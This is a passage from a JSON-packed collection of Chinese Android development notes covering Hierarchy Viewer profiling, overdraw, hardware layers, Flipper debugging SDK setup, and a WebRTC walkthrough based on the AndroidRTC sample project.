\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/gettingstarted_image005.png?raw=true)\n如果你的界面显示的不是这个样子，少一些东西的话，你可以使用`Window>Reset Perspective`来重置样式。 \n\n\n但是我并打不开。   \n如果你的手机是`Android 4.1`及以上版本你必须要在你的电脑上设置一个`ANDROID_HVPROTO`DE 环境变量才可以。\n\n- Windows \n    增加一个名为`ANDROID_HVPROTO`值为`ddm`的环境变量就可以了。 \n- Mac \n    - 打开`.bash_profile`\n        - `touch .bash_profile`创建\n        - `open -e .bash_profile`打开\n    - 添加    \n        ```java \n        #Hierarchy Viewer Variable              \n        export ANDROID_HVPROTO=ddm\n        ```\n    - `source .bash_profile`\n\n如果配置完成后仍然不能用的话，你可以:   \n\n- 关闭`Android Studio`.\n- 执行`add kill-server`，然后`adb start-server`.\n- 通过命令行开始`hierarchyviewer`.\n\n好了，我们直接打开自己的页面进行查看布局吧(有点慢)。   \n它是介个样子滴 ：     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/hierarchy_vierwe_page.png?raw=true)\n\n我们可以看到所有结构，点击对一个的节点，能直接看到该界面的`UI`效果，并展示该布局包含多少个`View`，以及该布局`measure,draw,layout`所消耗的时间。选中`Show Extras`选项可以看到在右下角看到界面效果。   \n\n选中要查看的节点后点击`Profile Node`选项，可以看到如下界面:    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/hierarchy_profile_node.png?raw=true)\n\n可以看到每个布局都出现了三个点。有不同的颜色,从左到右这三个点分别表示:   \n\n- 左边的点代表`Draw`阶段。\n- 中间的点代表了`Layout`阶段。\n- 右边的点代表了`Execute`阶段。\n\n这三个点有分别对应了`pipeline`中的不同阶段，如下图:    \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/gettingstarted_image015.png?raw=true)\n\n不同的颜色代表不同的性能:    \n\n- 绿色代表渲染的非常快，至少是其他`View`的一半。\n- 黄色代表`View`渲染比最后那一半的`View`快。\n- 红色代表`View`渲染是几乎是在最慢的那部分中间。\n\n\n`Hierarchy Viewer`测量的是相对的表现能力，所以总会有一个红色的节点，它并不意味者该`View`一定是绘制的太慢。 \n\n### 过度绘制\n\n在开发者选项中将调试GPU过度绘制设置为显示过度绘制区域，就能看到程序的绘制情况。  \n过度绘制往往发生在我们需要在一个东西上面绘制另外一个东西，例如在一个红色的背景上画一个黄色的按钮。那么GPU就需要先画出红色背景，再在他上面绘制黄色按钮，此时过度绘制就是不可避免的了。如果我们有太多层需要绘制，那么则会过度的占用GPU导致我们每帧消耗的时间超过16毫秒。\n这些过度绘制可能发生在我们给Activity或Fragment设置了全屏的背景，同时又给ListView以及ListView的条目设置了背景色。而通过只设置一次背景色即可解决这样的问题。\n\n注意：默认的主题会为你指定一个默认的全屏背景色，如果你的activity又一个不透平的背景盖住了默认的背景色，那么你可以移除主题默认的背景色，这样也会移除一层的过度绘制。这可以通过配置主题配置或是通过代码的方法，在onCreate()方法中调用getWindow().setBackgroundDrawable(null)方法来实现。\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/overdraw-gif.gif?raw=true)\n\n\n### Hardware Acceleration\n\n在Honeycomb版本中引入了硬件加速（Hardware Accleration）后，我们的应用在绘制的时候就有了全新的绘制模型。它引入了DisplayList结构，用来记录View的绘制命令，以便更快的进行渲染。但还有一些很好的功能开发者们往往会忽略或者使用不当——View layers。\n\n使用View layers（硬件层），我们可以将view渲染入一个非屏幕区域缓冲区（off-screen buffer，前面透明度部分提到过），并且根据我们的需求来操控它。这个功能主要是针对动画，因为它能让复杂的动画效果更加的流畅。而不使用硬件层的话，View会在动画属性（例如coordinate, scale, alpha值等）改变之后进行一次刷新。而对于相对复杂的view，这一次刷新又会连带它所有的子view进行刷新，并各自重新绘制，相当的耗费性能。使用View layers，通过调用硬件层，GPU直接为我们的view创建一个结构，并且不会造成view的刷新。而我们可以在避免刷新的情况下对这个结构进行进行很多种的操作，例如x/y位置变换，旋转，透明度等等。总之，这意味着我们可以对一个让一个复杂view执行动画的同时，又不会刷新！这会让动画看起来更加的流畅。\n在阅读了ViewPager的源码后，我发现了在滑动的时候会自动为左右两页启动一个硬件层，并且在滑动结束后移除掉。\n\n在两页间滑动的时候创建硬件层也是可以理解的，但对我来说小有不幸。通常来讲加入硬件层是为了让ViewPager的滑动更加流畅，毕竟它们相对复杂。\n\n\n是的，但是再使用硬件layers的时候还是有几点要牢记在心：\n\n- 回收 – 硬件层会占用GPU中的一块内存。只在必要的时候使用他们，比如动画，并且事后注意回收。例如在上面ObjectAnimator的例子中，我们增加了一个动画结束监听以便在动画结束后可以移除硬件层。而在Property animator的例子中，我们使用了withLayers()，这会在动画开始时候自动创建硬件层并且在结束的时候自动移除。\n- 如果你在调用了硬件View layers后改变了View，那么会造成硬件硬件层的刷新并且再次重头渲染一遍view到非屏幕区域缓存中。这种情况通常发生在我们使用了硬件层暂时还不支持的属性（目前为止，硬件层只针对以下几种属性做了优化：otation、scale、x/y、translation、pivot和alpha）。例如，如果你另一个view执行动画，并且使用硬件层，在屏幕滑动他们的同时改变他的背景颜色，这就会造成硬件层的持续刷新。而以硬件层的持续刷新所造成的性能消耗来说，可能让它在这里的使用变得并不那么值。\n\n有关如何使用`Hardware Layer`请参考之前写的文章:[通过Hardware Layer提高动画性能][4]\n\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96.md \"性能优化\"\n[2]: https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/%E5%B8%83%E5%B1%80%E4%BC%98%E5%8C%96.md \"布局优化\"\n[3]: https://github.com/CharonChui/AndroidNote/blob/master/JavaKnowledge/JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.md \"有关Java垃圾回收机制请参考\"\n[4]: https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/%E9%80%9A%E8%BF%87Hardware%20Layer%E6%8F%90%E9%AB%98%E5%8A%A8%E7%94%BB%E6%80%A7%E8%83%BD.md \"通过Hardware Layer提高动画性能\"\n    \t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/Tools&Library/目前流行的开发组合.md",
    "content": "目前流行的开发组合\n===\n\n\n目前主流的一套框架就是`Retrofit + RxJava + RxBinding + Dagger2`\n\n架构上面目前是`MVP`居多。\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Tools&Library/调试平台Flipper.md",
    "content": "调试平台Flippe\n\n===\n\n子日:工欲善其事必先利其器\n\n[Flipper](https://fbflipper.com/docs)是之前`Facebook`的一个内部调试工具，旨在帮助开发人员以交互式和可扩展的方式检查和理解`iOS`及`Android`应用程序的结构和行为。\n\n根据`Facebook`工程师`EmilSjölander`的说法，`Flipper`基于[Stetho](http://facebook.github.io/stetho/)的经验基础而构建，`Stetho`是一个`Android`调试桥，允许开发人员使用`Chrome DevTools`调试他们的应用程序。\n\n`Facebook`推荐开发者使用`Flipper`来替代`Stetho`，除非是还没有从`Stetho`移植到`Flipper`的一些功能，例如基于`Dumper`的命令行工具。\n\n\n前段时间`facebook`将`Flipper`开源了。最开始的时候是叫做`Sonar`后来改成`Flipper`了。\n\n\n这里就以`android`应用为例简单介绍一下它的使用。 \n`Flipper`包括两部分:  \n\n- 桌面应用\n- `Flipper SDK`:移动应用程序需要集成`Flipper SDK`，`Flipper SDK`负责与基于`Electron`的桌面应用程序通信，以显示调试数据。\n\n在扩展性方面，`Flipper`提供了一个插件`API`，开发人员可以使用这组`API`创建自己的插件来可视化和调试应用程序数据。`Flipper`初始版本包含许多即用型插件，例如:\n\n- `Logs`:用于检查应用程序的系统日志，默认集成的，不用手动添加。\n- `Layout Inspector`:用于检查`iOS`和`Android`应用程序的布局。\n- `Network Inspector`:用于检查网络流量。\n- `SharedPreferece`:用于查看`sharedpreference`文件的。\n\n这些只是`Flipper`提供的一些基本的功能。根据`Sjölander`的说法，`Facebook`工程师还开发了插件来监控`GraphQL`请求、跟踪性能标记等。\n\n\n下面介绍一下如何使用：   \n\n### 首先，去官网下载桌面应用，下载完后是这个样子的。\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/sonar_desktop.png?raw=true\" width=\"100%\" height=\"100%\">\n\n我们可以看到左边只有`log`的部分。\n\n\n### 接下来在`app`中嵌入`flipper`的`sdk`\n\n- 首先需要保证已声明如下权限:   \n```xml\n<uses-permission android:name=\"android.permission.INTERNET\" />\n<uses-permission android:name=\"android.permission.ACCESS_WIFI_STATE\" />\n```\n\n- 然后在`build.gradle`文件中添加依赖\n\n```java\nrepositories {\n  jcenter()\n}\n\ndependencies {\n  debugImplementation 'com.facebook.flipper:flipper:0.6.18'\n}\n```\n\n- 自定义一个`Application`，并在`onCreate()`方法中初始化`flipper`\n\n```java\npublic class MyApplication extends Application {\n    @Override\n    public void onCreate() {\n        super.onCreate();\n\n        SoLoader.init(this, false);\n\n        if (BuildConfig.DEBUG && SonarUtils.shouldEnableSonar(this)) {\n            final SonarClient client = AndroidSonarClient.getInstance(this);\n            client.addPlugin(new NetworkSonarPlugin());\n            client.addPlugin(new SharedPreferencesSonarPlugin(this));\n            client.start();\n        }\n    }\n}\n```\n\n上面我们添加了两个`plugin`，我们执行看一下:   \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/sonar_add_plugin.png?raw=true\" width=\"100%\" height=\"100%\">\n\n看到了吗？左边现在有`log`、`network`和`sharedpreference`三个部分了。 但是这三个是远远不够的啊，我还想查看布局。 \n\n这里需要注意一下，如果使用了`okhttp`,可以使用拦截器系统自动`hook`到现在的堆栈。\n\n```java\nimport com.facebook.sonar.plugins.network.SonarOkhttpInterceptor;\n\nnew OkHttpClient.Builder()\n    .addNetworkInterceptor(new SonarOkhttpInterceptor(networkSonarPlugin))\n    .build();\n```\n\n- 增加对查看布局的支持\n\n```java\npublic class MyApplication extends Application {\n    @Override\n    public void onCreate() {\n        super.onCreate();\n\n        SoLoader.init(this, false);\n\n        if (BuildConfig.DEBUG && SonarUtils.shouldEnableSonar(this)) {\n            final SonarClient client = AndroidSonarClient.getInstance(this);\n            client.addPlugin(new NetworkSonarPlugin());\n            client.addPlugin(new SharedPreferencesSonarPlugin(this));\n            // 增加布局plugin\n            final DescriptorMapping descriptorMapping = DescriptorMapping.withDefaults();\n            client.addPlugin(new InspectorSonarPlugin(this, descriptorMapping));\n            client.start();\n        }\n    }\n}\n```\n\n执行一下:  \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/sonar_add_plugun_layout.png?raw=true\" width=\"100%\" height=\"100%\">\n\n\n- 沙箱插件\n\n这个我没搞懂到底是干什么用的，也没用过。\n\n> The Sandbox plugin is useful for developers that had to test changes of their apps by pointing them to some Sandbox environment. Through this plugin and a few lines of code in the client, the app can get a callback and get the value that the user has input through Sonar. At this point, the developer can plugin its logic to save this setting in its app.\n\n```java\nimport com.facebook.sonar.plugins.SandboxSonarPlugin;\nimport com.facebook.sonar.plugins.SandboxSonarPluginStrategy;\n\nfinal SandboxSonarPluginStrategy strategy = getStrategy(); // Your strategy goes here\nclient.addPlugin(new SandboxSonarPlugin(strategy));\n```\n \n在上面的代码中，我们都是直接通过`addPlugin()`方法去添加的，我们看一下系统提供的`Plugin`。 \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/sonar_plugin_list.png?raw=true\" width=\"100%\" height=\"100%\">\n\n其实我们也可以自定义`Plugin`，自定义一个类实现`SonarPlugin`接口，然后去发送或者接受数据，一般也用不到，这里就不说了:\n```java\npublic class MySonarPlugin implements SonarPlugin {\n  private SonarConnection mConnection;\n\n  @Override\n  public String getId() {\n    return \"MySonarPlugin\";\n  }\n\n    @Override\n    public void onConnect(SonarConnection connection) throws Exception {\n        mConnection = connection;\n        // Using the SonarConnection object you can register a receiver of a desktop method call and respond with data.\n        connection.receive(\"getData\", new SonarReceiver() {\n            @Override\n            public void onReceive(SonarObject params, SonarResponder responder) throws Exception {\n                responder.success(\n                        new SonarObject.Builder()\n                                .put(\"data\", MyData.get())\n                                .build());\n            }\n        });\n\n        // You don't have to wait for the desktop to request data though, you can also push data directly to the desktop.\n        connection.send(\"MyMessage\",\n                new SonarObject.Builder()\n                        .put(\"message\", \"Hello\")\n                        .build());\n\n\n\n    }\n\n  @Override\n  public void onDisconnect() throws Exception {\n    mConnection = null;\n  }\n}\n```\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n-\nGood Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/VideoDevelopment/Android WebRTC简介.md",
    "content": "Android WebRTC简介\n===\n\n\n![image](https://github.com/CharonChui/Pictures/blob/master/webrtc-logo.png?raw=true)\n              \n\nWebRTC简介\n---\n\n[WebRTC](https://webrtc.org/)\n\n\n`WebRTC`名称源自网页实时通信(Web Real-Time Communication`)的缩写，是一个支持网页浏览器进行实时语音对话或视频对话的技术，是谷歌2010年以6820万美元收购`Global IP Solutions`公司而获得的一项技术。`Google`于2011年6月3日开源的即时通讯项目，旨在使其成为客户端视频通话的标准。其实在`Google`将`WebRTC`开源之前，微软和苹果各自的通讯产品已占用很大市场份额（如`Skype`），`Google`也是为了快速扩大市场，所以将他给开源。在行业内得到了广泛的支持和应用，成为下一代视频通话的标准。更多介绍可以去官网上看。\n\n`WebRTC`被誉为是`web`长期开源开发的一个新启元，是近年来`Web`开发的最重要创新。`WebRTC`允许`Web`开发者在其`web`应用中添加视频聊天或者点对点数据传输，不需要复杂的代码或者昂贵的配置。目前支持`Chrome`、`Firefox`和`Opera`，后续会支持更多的浏览器，它有能力达到数十亿的设备。\n\n然而，`WebRTC`一直被误解为仅适合于浏览器。事实上，`WebRTC`最重要的一个特征是允许本地和`web`应用间的互操作，很少有人使用到这个特性。\n\n\n本文主要以开源项目[AndroidRTC](https://github.com/pchab/AndroidRTC)为例。\n下载后通过`Android Studio`打开，打开的时候可能会报错，说找不到`org.json:json:20090211`，这时只要将`AndroidRTC/webrtc-client/build.gradle`中的\n```\ndependencies {\n    compile ('com.github.nkzawa:socket.io-client:0.4.1')\n    compile 'io.pristine:libjingle:8871@aar'\n}\n```\n修改成\n```\ndependencies {\n    compile ('com.github.nkzawa:socket.io-client:0.4.1'){ // //webSocket相关\n        exclude group: 'org.json', module: 'json' // 这句话是我新加的，不然会提示org.json:json:20090211找不到\n    }\n\n    compile 'io.pristine:libjingle:8871@aar' // //webRTC官方aar包\n}\n```\n就可以了。 \n\n\n运行一下你会发现进去会黑屏，这是因为需要依赖`node.js`服务。\n\n`WebRTC Live Streaming`: \n\n- `Node.js server`\n- `Desktop client`\n- `Android client`\n\n如果电脑上没有安装`nodejs`需要先安装`nodejs`，因为需要依赖`node.js`所以我们要先安装`node.js`。去[nodejs官网](https://nodejs.org/en/#download)下载安装。\n\n然后是要本地下载[ProjectRTC](https://github.com/pchab/ProjectRTC)项目:    \n- `git clone https://github.com/pchab/ProjectRTC.git`\n- `cd ProjectRTC/`\n- `npm install`\n- `npm start`\n服务默认会运行在3000端口，你可以在浏览器中打开`localhost:3000`。  \n\n![image](https://github.com/CharonChui/Pictures/blob/master/webrtc_web_1.png?raw=true)\n\n如图就表示运行成功了。\n\n接下来我们进行打开`android`客户端，你会发现，还是黑屏。\n这是因为我们需要在项目中的`strings.xml`中将配置修改成本地电脑在局域网下的`ip`地址和运行`Node`服务端的端口。如下:   \n```xml\n<resources>\n    <string name=\"app_name\">AndroidRTC</string>\n    <string name=\"host\">172.16.55.27</string>\n    <string name=\"port\">3000</string>\n    <string name=\"action_settings\">Options</string>\n</resources>\n```\n好了，现在再运行`android`项目，然后打开浏览器输入`localhost:3000`，在浏览器页面点击`start`，你就可以看到电脑摄像头获取的画面，如下图: \n\n\n![image](https://github.com/CharonChui/Pictures/blob/master/webrtc_web_start.png?raw=true)\n\n\n然后点击左边的`call`，就会去申请连手机端，接下来你就可以在浏览器和手机端看到画面了，如下图:\n\n![image](https://github.com/CharonChui/Pictures/blob/master/webrtc_web_call.png?raw=true)\n\n手机端的画面:   \n\n![image](https://github.com/CharonChui/Pictures/blob/master/webrtc_android.jpg?raw=true)\n\n既然连通了，下面就仔细分析一下代码:   \n代码文件比较少，主要是三个类:  \n\n![image](https://github.com/CharonChui/Pictures/blob/master/webrtc_demo_file.png?raw=true)\n\n其中在`WebRtcClient`中实现的逻辑最为核心，我们就从他入手。  \n\n`Android`相关的`API`有`VideoCapturerAndroid`,`VideoRenderer`,`MediaStream`,`PeerConnection`,\n和`PeerConnectionFactory`。下面我们将逐一讲解。\n\n在开始之前，需要创建`PeerConnectionFactory`，这是`Android`上使用`WebRTC`最核心的`API`。\n\n### `PeerConnectionFactory`\n\n`Android WebRTC`最核心的类。理解这个类并了解它如何创建其他任何事情是深入了解`Android`中`WebRTC`的关键。\n它和我们期望的方式还是有所不同的，所以我们开始深入挖掘它。\n\n我们先到`WebRtcClient`文件中找到`PeerConnectionFactory`初始化的地方:   \n\n![image](https://github.com/CharonChui/Pictures/blob/master/webrtc_factory_code.png?raw=true)\n\n`initializeAndroidGlobals`的参数分别是:   \n- `context`:应用上下文\n- `initializeAudio`:是否初始化音频的布尔值。\n- `initializeVideo`:是否初始化视频的布尔值。跳过这两个就允许跳过请求`API`的相关权限，例如数据通道应用。\n- `videoCodecHwAcceleration`:是否允许硬件加速的布尔值。\n- `renderEGLContext`:用来提供支持硬件视频解码，可以在视频解码线程中创建共享`EGL`上下文。\n可以为空——在本文例子中硬件视频解码将产生`yuv420`帧而非`texture`帧。\n- `initializeAndroidGlobals`也是返回布尔值，`true`表示一切OK，`false`表示有失败。\n\n\n有了`peerConnectionFactory`实例，就可以从用户设备获取视频和音频，最终将其渲染到屏幕上。在`Android`中，我们需要了解`VideoCapturerAndroid`，`VideoSource`，`VideoTrack`和`VideoRenderer`。     \n先从`VideoCapturerAndroid`开始:     \n\n#### `VideoCapturerAndroid`\n\n`VideoCapturerAndroid`其实是一系列`Camera API`的封装，为访问摄像头设备的流信息提供了方便。它允许获取多个摄像头设备信息，包括前置摄像头，或者后置摄像头。\n\n在`WebRtcClient`类中的代码为:     \n```java\nprivate void setCamera(){\n    localMS = factory.createLocalMediaStream(\"ARDAMS\");\n    if(pcParams.videoCallEnabled){\n        MediaConstraints videoConstraints = new MediaConstraints();\n        videoConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"maxHeight\", Integer.toString(pcParams.videoHeight)));\n        videoConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"maxWidth\", Integer.toString(pcParams.videoWidth)));\n        videoConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"maxFrameRate\", Integer.toString(pcParams.videoFps)));\n        videoConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"minFrameRate\", Integer.toString(pcParams.videoFps)));\n\n        videoSource = factory.createVideoSource(getVideoCapturer(), videoConstraints);\n        localMS.addTrack(factory.createVideoTrack(\"ARDAMSv0\", videoSource));\n    }\n\n    AudioSource audioSource = factory.createAudioSource(new MediaConstraints());\n    localMS.addTrack(factory.createAudioTrack(\"ARDAMSa0\", audioSource));\n\n    mListener.onLocalStream(localMS);\n}\n\nprivate VideoCapturer getVideoCapturer() {\n\t// 获取前置摄像头的名称\n    String frontCameraDeviceName = VideoCapturerAndroid.getNameOfFrontFacingDevice();\n    // 创建前置摄像头对象\n    return VideoCapturerAndroid.create(frontCameraDeviceName);\n}\n```\n\n有了包含摄像流信息的`VideoCapturerAndroid`实例，就可以创建从本地设备获取到的包含视频流信息的`MediaStream`，从而发送给另一端。但做这些之前，我们首先研究下如何将自己的视频显示到应用上面。\n\n\n#### `VideoSource/VideoTrack`\n\n从`VideoCapturer`实例中获取一些有用信息，或者要达到最终目标————为连接端获取合适的媒体流，或者仅仅是将它渲染给用户，我们需要了解`VideoSource`和`VideoTrack`类。\n\n`VideoSource`允许方法开启、停止设备捕获视频。这在为了延长电池寿命而禁止视频捕获的情况下比较有用。\n`VideoTrack`是简单的添加`VideoSource`到`MediaStream`对象的一个封装。\n\n我们通过代码看看它们是如何一起工作的。`capturer`是`VideoCapturer`的实例，`videoConstraints`是`MediaConstraints`的实例。\n代码还是在上面贴出的`setCamera()`方法中:    \n\n```java\nprivate void setCamera(){\n    localMS = factory.createLocalMediaStream(\"ARDAMS\");\n    if(pcParams.videoCallEnabled){\n        MediaConstraints videoConstraints = new MediaConstraints();\n        ......\n        // 创建VideoSource\n        videoSource = factory.createVideoSource(getVideoCapturer(), videoConstraints);\n        // 创建VideoTrack\n        localMS.addTrack(factory.createVideoTrack(\"ARDAMSv0\", videoSource));\n    }\n    // 创建AudioSource\n    AudioSource audioSource = factory.createAudioSource(new MediaConstraints());\n    // 创建AudioSource\n    localMS.addTrack(factory.createAudioTrack(\"ARDAMSa0\", audioSource));\n\n    mListener.onLocalStream(localMS);\n}\n```\n\n#### `AudioSource/AudioTrack`\n\n`AudioSource`和`AudioTrack`与`VideoSource`和`VideoTrack`相似，只是不需要`AudioCapturer`来获取麦克风，\n代码同上。   \n\n#### `VideoRenderer`\n\n进入`VideoRenderer`，`WebRTC`库允许通过`VideoRenderer.Callbacks`实现自己的渲染。另外，\n它提供了一种非常好的默认方式`VideoRendererGui`。简而言之，`VideoRendererGui`是一个`GLSurfaceView`，使用它可以绘制自己的视频流。我们通过代码看一下它是如何工作的，以及如何添加`renderer`到`VideoTrack`。\n因为他是渲染的类，所以代码就不是在`WebRtcClient`里面了，在`RtcActivity`中，我们看下代码:    \n\n```java\n// Local preview screen position before call is connected.\nprivate static final int LOCAL_X_CONNECTING = 0;\nprivate static final int LOCAL_Y_CONNECTING = 0;\nprivate static final int LOCAL_WIDTH_CONNECTING = 100;\nprivate static final int LOCAL_HEIGHT_CONNECTING = 100;\n// Local preview screen position after call is connected.\nprivate static final int LOCAL_X_CONNECTED = 72;\nprivate static final int LOCAL_Y_CONNECTED = 72;\nprivate static final int LOCAL_WIDTH_CONNECTED = 25;\nprivate static final int LOCAL_HEIGHT_CONNECTED = 25;\n// Remote video screen position\nprivate static final int REMOTE_X = 0;\nprivate static final int REMOTE_Y = 0;\nprivate static final int REMOTE_WIDTH = 100;\nprivate static final int REMOTE_HEIGHT = 100;\n\nprivate VideoRendererGui.ScalingType scalingType = VideoRendererGui.ScalingType.SCALE_ASPECT_FILL;\nprivate GLSurfaceView vsv;\nprivate VideoRenderer.Callbacks localRender;\nprivate VideoRenderer.Callbacks remoteRender;\nprivate WebRtcClient client;\nprivate String mSocketAddress;\nprivate String callerId;\n\n@Override\npublic void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    requestWindowFeature(Window.FEATURE_NO_TITLE);\n    getWindow().addFlags(\n            LayoutParams.FLAG_FULLSCREEN\n                    | LayoutParams.FLAG_KEEP_SCREEN_ON\n                    | LayoutParams.FLAG_DISMISS_KEYGUARD\n                    | LayoutParams.FLAG_SHOW_WHEN_LOCKED\n                    | LayoutParams.FLAG_TURN_SCREEN_ON);\n    setContentView(R.layout.main);\n    mSocketAddress = \"http://\" + getResources().getString(R.string.host);\n    mSocketAddress += (\":\" + getResources().getString(R.string.port) + \"/\");\n\n    // 获取GLSurfaceView \n    vsv = (GLSurfaceView) findViewById(R.id.glview_call);\n    vsv.setPreserveEGLContextOnPause(true);\n    vsv.setKeepScreenOn(true);\n    // 设置给VideoRendererGui\n    VideoRendererGui.setView(vsv, new Runnable() {\n        @Override\n        public void run() {\n            init();\n        }\n    });\n\n    // 创建本地和远程的Render\n    // local and remote render\n    remoteRender = VideoRendererGui.create(\n            REMOTE_X, REMOTE_Y,\n            REMOTE_WIDTH, REMOTE_HEIGHT, scalingType, false);\n    localRender = VideoRendererGui.create(\n            LOCAL_X_CONNECTING, LOCAL_Y_CONNECTING,\n            LOCAL_WIDTH_CONNECTING, LOCAL_HEIGHT_CONNECTING, scalingType, true);\n\n    final Intent intent = getIntent();\n    final String action = intent.getAction();\n\n    if (Intent.ACTION_VIEW.equals(action)) {\n        final List<String> segments = intent.getData().getPathSegments();\n        callerId = segments.get(0);\n    }\n}\n\n......\n\n\npublic void onLocalStream(MediaStream localStream) {\n\t// 将Render添加到VideoTrack中\n    localStream.videoTracks.get(0).addRenderer(new VideoRenderer(localRender));\n    VideoRendererGui.update(localRender,\n            LOCAL_X_CONNECTING, LOCAL_Y_CONNECTING,\n            LOCAL_WIDTH_CONNECTING, LOCAL_HEIGHT_CONNECTING,\n            scalingType);\n}\n\n@Override\npublic void onAddRemoteStream(MediaStream remoteStream, int endPoint) {\n    remoteStream.videoTracks.get(0).addRenderer(new VideoRenderer(remoteRender));\n    VideoRendererGui.update(remoteRender,\n            REMOTE_X, REMOTE_Y,\n            REMOTE_WIDTH, REMOTE_HEIGHT, scalingType);\n    VideoRendererGui.update(localRender,\n            LOCAL_X_CONNECTED, LOCAL_Y_CONNECTED,\n            LOCAL_WIDTH_CONNECTED, LOCAL_HEIGHT_CONNECTED,\n            scalingType);\n}\n\n@Override\npublic void onRemoveRemoteStream(int endPoint) {\n    VideoRendererGui.update(localRender,\n            LOCAL_X_CONNECTING, LOCAL_Y_CONNECTING,\n            LOCAL_WIDTH_CONNECTING, LOCAL_HEIGHT_CONNECTING,\n            scalingType);\n}\n\n```\n\n#### `MediaConstraints`\n\n`MediaConstraints`是支持不同约束的`WebRTC`库方式的类，可以加载到`MediaStream`中的音频和视频轨道。对于大多数需要`MediaConstraints`的方法，一个简单的`MediaConstraints`实例就可以做到。\n\n```java\nprivate MediaConstraints pcConstraints = new MediaConstraints();\n......\npcConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"OfferToReceiveAudio\", \"true\"));\npcConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"OfferToReceiveVideo\", \"true\"));\npcConstraints.optional.add(new MediaConstraints.KeyValuePair(\"DtlsSrtpKeyAgreement\", \"true\"));\n\n......\nthis.pc = factory.createPeerConnection(iceServers, pcConstraints, this);\n```\n\n#### `MediaStream`\n\n\n本地看见自己后接下来就要想办法让对方看见自己。我们需要自己创建`MediaStream`。\n接下来我们就研究如何添加本地的`VideoTrack`和`AudioTrack`来创建一个合适的`MediaStream`。\n代码还是在前面分析的`setCamera()`方法中:   \n```java\nprivate MediaStream localMS;\n\nprivate void setCamera(){\n\t// 创建MediaStream\n\tlocalMS = factory.createLocalMediaStream(\"ARDAMS\");\n\tif(pcParams.videoCallEnabled){\n\t    MediaConstraints videoConstraints = new MediaConstraints();\n\t    videoConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"maxHeight\", Integer.toString(pcParams.videoHeight)));\n\t    videoConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"maxWidth\", Integer.toString(pcParams.videoWidth)));\n\t    videoConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"maxFrameRate\", Integer.toString(pcParams.videoFps)));\n\t    videoConstraints.mandatory.add(new MediaConstraints.KeyValuePair(\"minFrameRate\", Integer.toString(pcParams.videoFps)));\n\n\t    videoSource = factory.createVideoSource(getVideoCapturer(), videoConstraints);\n\t    // 添加VideoTrack\n\t    localMS.addTrack(factory.createVideoTrack(\"ARDAMSv0\", videoSource));\n\t}\n\n\tAudioSource audioSource = factory.createAudioSource(new MediaConstraints());\n\t// 添加AudioTrack\n\tlocalMS.addTrack(factory.createAudioTrack(\"ARDAMSa0\", audioSource));\n\n\tmListener.onLocalStream(localMS);\n}\n```\n\n我们现在有了包含视频流和音频流的`MediaStream`实例，而且在屏幕上显示了我们的预览画面。下面要做的就该把这些信息传送给对方了。\n这篇文章不会介绍如何建立自己的信号流，我们直接介绍对应的`API`方法，以及它们如何与`web`关联的。 `AppRTC`使用`autobahn`使得`WebSocket`连接到信号端。\n\n\n#### `PeerConnection`\n\n现在我们有了自己的`MediaStream`，就可以开始连接远端了。创建`PeerConnection`很简单，只需要`PeerConnectionFactory`的协助即可。    \n\n\n```java\nprivate PeerConnection pc;\nprivate PeerConnectionFactory factory;\nprivate LinkedList<PeerConnection.IceServer> iceServers = new LinkedList<>();\n\n\niceServers.add(new PeerConnection.IceServer(\"stun:23.21.150.121\"));\niceServers.add(new PeerConnection.IceServer(\"stun:stun.l.google.com:19302\"));\n\nthis.pc = factory.createPeerConnection(iceServers, pcConstraints, this);\n```\n\n参数的作用如下：\n\n`iceServers`:连接到外部设备或者网络时需要用到这个参数。在这里添加STUN 和 TURN 服务器就允许进行连接，即使在网络条件很差的条件下。\n`constraints`:前面介绍的`MediaConstraints`的实例，应该包含`offerToRecieveAudio`和`offerToRecieveVideo`。\n`observer`:`PeerConnection.Observer`实例。\n\n`PeerConnection`和`web`上的对应`API`很相似，包含了`addStream`、`addIceCandidate`、`createOffer`、`createAnswer`、`getLocalDescription`、`setRemoteDescription`和其他类似方法。为了了解如何协调所有工作在两点之间建立起通讯通道，我们先看下下面的几个类:  \n\n\n#### `addStream`\n\n这个是用来将`MediaStream`添加到`PeerConnection`中的,如同它的命名一样。如果你想要对方看到你的视频、听到你的声音，就需要用到这个方法。\n\n#### `addIceCandidate`\n\n一旦内部`IceFramework`发现有`candidates`允许其他方连接你时，就会创建`IceCandidates`。当通过`PeerConnectionObserver.onIceCandidate`传递数据到对方时，需要通过任何一个你选择的信号通道获取到对方的`IceCandidates`。使用`addIceCandidate`添加它们到`PeerConnection`，以便`PeerConnection`可以通过已有信息试图连接对方。\n\n#### `createOffer/createAnswer`\n\n这两个方法用于原始通话的建立。在`WebRTC`中，已经有了`caller`和`callee`的概念，一个是呼叫，一个是应答。`createOffer`是`caller`使用的，它需要一个`sdpObserver`，它允许获取和传输会话描述协议`Session Description 